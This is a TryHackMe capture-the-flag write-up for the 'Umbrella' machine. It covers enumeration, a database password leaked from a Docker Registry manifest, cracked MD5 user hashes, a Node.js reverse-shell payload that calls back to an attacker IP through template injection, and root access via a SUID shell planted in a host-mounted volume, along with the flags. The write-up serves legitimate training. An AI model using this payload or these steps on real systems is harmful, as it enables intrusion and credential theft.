Umbrella Write-up - TryHackMe
Extracting sensitive information from the Docker Registry and exploiting Server-Side Template Injection.
Umbrella
is a medium level boot2root challenge. The goal is to get root access on the machine.
Enumeration
Starting with an nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sV -T5 -v 10.10.30.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 20:35 EDT
Nmap scan report for 10.10.30.25 (10.10.30.25)
Host is up (0.090s latency).
Not shown: 962 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
3306/tcp open mysql MySQL 5.7.40
5000/tcp open http Docker Registry (API: 2.0)
8080/tcp open http Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have 4 open ports on the machine: Two HTTP ports, SSH and MySQL. Let’s begin by examining the web servers.
Node.js Application
It’s a simple login page but there is no way to get in. Let’s check the Docker Registry.
Docker Registry
Docker Registry is a service that stores and distributes Docker images. We can send a GET request to /v2/_catalog
to get a list of all the images stored in the registry.
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.30.25:5000/v2/_catalog
{"repositories":["umbrella/timetracking"]}
We have one image called umbrella/timetracking
. Let’s get more information about this image. Check this link for more information about the Docker Registry API.
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.30.25:5000/v2/umbrella/timetracking/tags/list
{"name":"umbrella/timetracking","tags":["latest"]}
Here we have the tag latest
. Let’s get the image manifest.
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.30.25:5000/v2/umbrella/timetracking/manifests/latest | grep DB_PASS
This will give a huge output. I extracted the important part of the output. Here is it:
1
"{"architecture":"amd64","config":{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"8080/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","NODE_VERSION=19.3.0","YARN_VERSION=1.22.19","DB_HOST=db","DB_USER=root","DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5","DB_DATABASE=timetracking","LOG_FILE=/logs/tt.log"],"Cmd":["node","app.js"],"Image":"sha256:039f3deb094d2931ed42571037e473a5e2daa6fd1192aa1be80298ed61b110f1","Volumes":null,"WorkingDir":"/usr/src/app","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":null},"container":"527e55a70a337461e3615c779b0ad035e0860201e4745821c5f3bc4dcd7e6ef9","container_config":{"Hostname":"527e55a70a33","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"8080/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","NODE_VERSION=19.3.0","YARN_VERSION=1.22.19","DB_HOST=db","DB_USER=root","DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5","DB_DATABASE=timetracking","LOG_FILE=/logs/tt.log"],"Cmd":["/bin/sh","-c","#(nop) ","CMD [\"node\" \"app.js\"]"],"Image":"sha256:039f3deb094d2931ed42571037e473a5e2daa6fd1192aa1be80298ed61b110f1","Volumes":null,"WorkingDir":"/usr/src/app","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{}},"created":"2022-12-22T10:03:08.042002316Z","docker_version":"20.10.17","id":"7aec279d6e756678a51a8f075db1f0a053546364bcf5455f482870cef3b924b4","os":"linux","parent":"47c36cf308f072d4b86c63dbd2933d1a49bf7adb87b0e43579d9c7f5e6830ab8","throwaway":true}"
We have the database password Ng1-f3!Pe7-e5?Nf3xe5
. Let’s try to login to the MySQL server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Desktop]
└─$ mysql -u root -h 10.10.30.25 -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.40 MySQL Community Server (GPL)
[...]
MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user | pass | time |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 | 360 |
| chris-r | 0d107d09f5bbe40cade3de5c71e9e9b7 | 420 |
| jill-v | d5c0607301ad5d5c1528962a83992ac8 | 564 |
| barry-b | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+
Bingo! Let’s crack the hashes using CrackStation.
1
2
3
4
2ac9cb7dc02b3c0083eb70898e549b63 md5 Password1
0d107d09f5bbe40cade3de5c71e9e9b7 md5 letmein
d5c0607301ad5d5c1528962a83992ac8 md5 sunshine1
4a04890400b5d7bac101baace5d7e994 md5 sandwich
We have successfully retrieved the users’ passwords. Let’s try to login to the Node.js application.
Server-Side Template Injection
I noticed that the application might be vulnerable to Server-Side Template Injection. Additionally, we could download the source code of the application from the Docker Registry and check if there is any vulnerability. But this is not necessary. I used this payload to pop a shell:
1
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "10.9.1.64", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();
When I checked the environment variables, there was a variable called LOG_FILE
. It points to /logs/tt.log
, which is an unusual path for a default Docker file system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@de0610f51845:/usr/src/app# env
HOSTNAME=de0610f51845
YARN_VERSION=1.22.19
PWD=/usr/src/app
DB_USER=root
HOME=/root
LOG_FILE=/logs/tt.log
DB_HOST=db
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=19.3.0
DB_DATABASE=timetracking
DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
_=/usr/bin/env
However, this did not yield any useful information. Need to move on another way.
User Flag
After attempting various methods without success, I decided to check the SSH service. I was able to login with the credentials I found earlier. (claire-r
:Password1
)
1
2
3
4
5
6
7
8
9
10
11
12
13
claire-r@ctf:~$ ls -lah
total 36K
drwxr-xr-x 4 claire-r claire-r 4.0K Aug 7 01:09 .
drwxr-xr-x 4 root root 4.0K Dec 22 2022 ..
-rw------- 1 claire-r claire-r 61 Sep 22 2023 .bash_history
-rw-r--r-- 1 claire-r claire-r 220 Dec 22 2022 .bash_logout
-rw-r--r-- 1 claire-r claire-r 3.7K Dec 22 2022 .bashrc
drwx------ 2 claire-r claire-r 4.0K Aug 7 01:09 .cache
-rw-r--r-- 1 claire-r claire-r 807 Dec 22 2022 .profile
drwxrwxr-x 6 claire-r claire-r 4.0K Dec 22 2022 timeTracker-src
-rw-r--r-- 1 claire-r claire-r 38 Dec 22 2022 user.txt
claire-r@ctf:~$ cat user.txt
THM{d832c0e4cf71312708686124f7a6b25e}
User Flag: THM{d832c0e4cf71312708686124f7a6b25e}
.
Privilege Escalation
I checked the timeTracker-src
directory and found a docker-compose.yml
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
claire-r@ctf:~$ cat timeTracker-src/docker-compose.yml
version: '3.3'
services:
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: 'timetracking'
MYSQL_ROOT_PASSWORD: 'Ng1-f3!Pe7-e5?Nf3xe5'
ports:
- '3306:3306'
volumes:
- ./db:/docker-entrypoint-initdb.d
app:
image: umbrella/timetracking:latest
restart: always
ports:
- '8080:8080'
volumes:
- ./logs:/logs
I noticed that /logs
directory is mounted to the host. We could copy a SUID binary from the container to the host and execute it. I am getting back to my container shell and copying the sh
binary to the /logs
directory with the SUID bit set.
1
root@de0610f51845:/logs# cp /bin/sh /logs/sh && chmod +s /logs/sh
That’s it! Now I can execute the binary and get the root shell.
1
2
3
4
5
6
7
8
9
10
11
claire-r@ctf:~/timeTracker-src/logs$ ls -lah
total 136K
drwxrw-rw- 2 claire-r claire-r 4.0K Aug 7 01:13 .
drwxrwxr-x 6 claire-r claire-r 4.0K Dec 22 2022 ..
-rwsr-sr-x 1 root root 123K Aug 7 01:13 sh
-rw-r--r-- 1 root root 361 Aug 7 01:03 tt.log
claire-r@ctf:~/timeTracker-src/logs$ ./sh -p
# whoami
root
# cat /root/root.txt
THM{1e15fbe7978061c6bb1924124fd9eab2}
Root flag is THM{1e15fbe7978061c6bb1924124fd9eab2}
.
That’s it! I rooted the machine.
Conclusion
I liked this machine. Thanks to the creator for this room. Feel free to contact me on Twitter if you have any questions.